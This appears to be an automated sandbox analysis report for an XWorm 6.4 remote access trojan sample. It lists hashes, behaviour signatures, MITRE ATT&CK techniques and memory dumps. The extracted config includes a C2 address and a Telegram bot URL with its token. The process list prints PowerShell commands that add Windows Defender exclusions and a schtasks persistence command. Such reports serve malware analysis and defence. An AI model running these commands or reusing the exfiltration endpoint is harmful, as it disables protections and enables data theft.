Analysis
- max time kernel
149s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260618-en - resource tags
- submitted
23/06/2026, 11:47
General
- Target XWorm6.4.exe
- Size 105KB
- Sample260623-nyagvact5m
- SHA256 6f9dcca04e92ffff2f644d9a9119d276c16d5a802f78e529a10558eb59000253
Malware Config
Extracted
-
xworm
-
XWorm V6.4.exe
-
192.168.1.195:6000
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siKzJxC064MKUorG
-
install_file
XWorm V6.4.exe
-
telegram
https://api.telegram.org/bot8430869327:AAHeSTIsqGGuLhYZnggyNWI7NfA14XYiNzw/sendMessage?chat_id=6765116485
Signatures
- Family: Xworm
Xworm is a remote access trojan written in C#.
- Detect Xworm Payload 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Drops startup file 2 IoCs
- Executes dropped EXE 1 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 9 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\XWorm6.4.exe"C:\Users\Admin\AppData\Local\Temp\XWorm6.4.exe"1⤵
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\XWorm6.4.exe'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XWorm6.4.exe'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath '\XWorm V6.4.exe'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XWorm V6.4.exe'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
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C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XWorm V6.4" /tr "\XWorm V6.4.exe"2⤵
- Scheduled Task/Job: Scheduled Task
-
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C:\XWorm V6.4.exe"C:\XWorm V6.4.exe"1⤵
- Executes dropped EXE
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
__PSScriptPolicyTest_vvoitedi.wvf.ps1
XWorm V6.4.exe
memory/2504-0-0x00007FFAB142F000-0x00007FFAB1430000-memory.dmp
memory/2504-1-0x0000000000A70000-0x0000000000A90000-memory.dmp
memory/2504-2-0x00007FFAB12A0000-0x00007FFAB1C44000-memory.dmp
memory/2504-3-0x00007FFAB12A0000-0x00007FFAB1C44000-memory.dmp
memory/2504-58-0x00007FFAB12A0000-0x00007FFAB1C44000-memory.dmp
memory/2504-57-0x00007FFAB12A0000-0x00007FFAB1C44000-memory.dmp
memory/2504-56-0x00007FFAB12A0000-0x00007FFAB1C44000-memory.dmp
memory/2504-53-0x00007FFAB12A0000-0x00007FFAB1C44000-memory.dmp
memory/5048-20-0x00007FFAB12A0000-0x00007FFAB1C44000-memory.dmp
memory/5048-27-0x00007FFAB12A0000-0x00007FFAB1C44000-memory.dmp
memory/5048-18-0x00007FFAB12A0000-0x00007FFAB1C44000-memory.dmp
memory/5048-19-0x00007FFAB12A0000-0x00007FFAB1C44000-memory.dmp
memory/5048-16-0x00007FFAB12A0000-0x00007FFAB1C44000-memory.dmp
memory/5048-21-0x00007FFAB12A0000-0x00007FFAB1C44000-memory.dmp
memory/5048-22-0x00007FFAB12A0000-0x00007FFAB1C44000-memory.dmp
memory/5048-23-0x00007FFAB12A0000-0x00007FFAB1C44000-memory.dmp
memory/5048-24-0x00007FFAB12A0000-0x00007FFAB1C44000-memory.dmp
memory/5048-25-0x00007FFAB12A0000-0x00007FFAB1C44000-memory.dmp
memory/5048-26-0x00007FFAB12A0000-0x00007FFAB1C44000-memory.dmp
memory/5048-17-0x00007FFAB12A0000-0x00007FFAB1C44000-memory.dmp
memory/5048-28-0x00007FFAB12A0000-0x00007FFAB1C44000-memory.dmp
memory/5048-29-0x00007FFAB12A0000-0x00007FFAB1C44000-memory.dmp
memory/5048-31-0x00007FFAB12A0000-0x00007FFAB1C44000-memory.dmp
memory/5048-15-0x000002B06E6D0000-0x000002B06E6DA000-memory.dmp
memory/5048-13-0x000002B06E6F0000-0x000002B06E70E000-memory.dmp
memory/5048-14-0x000002B06E710000-0x000002B06E7C2000-memory.dmp
memory/5048-10-0x00007FFAB12A0000-0x00007FFAB1C44000-memory.dmp
memory/5048-9-0x00007FFAB12A0000-0x00007FFAB1C44000-memory.dmp
memory/5048-8-0x00007FFAB12A0000-0x00007FFAB1C44000-memory.dmp
memory/5048-7-0x000002B06E200000-0x000002B06E222000-memory.dmp
memory/5048-6-0x00007FFAB12A0000-0x00007FFAB1C44000-memory.dmp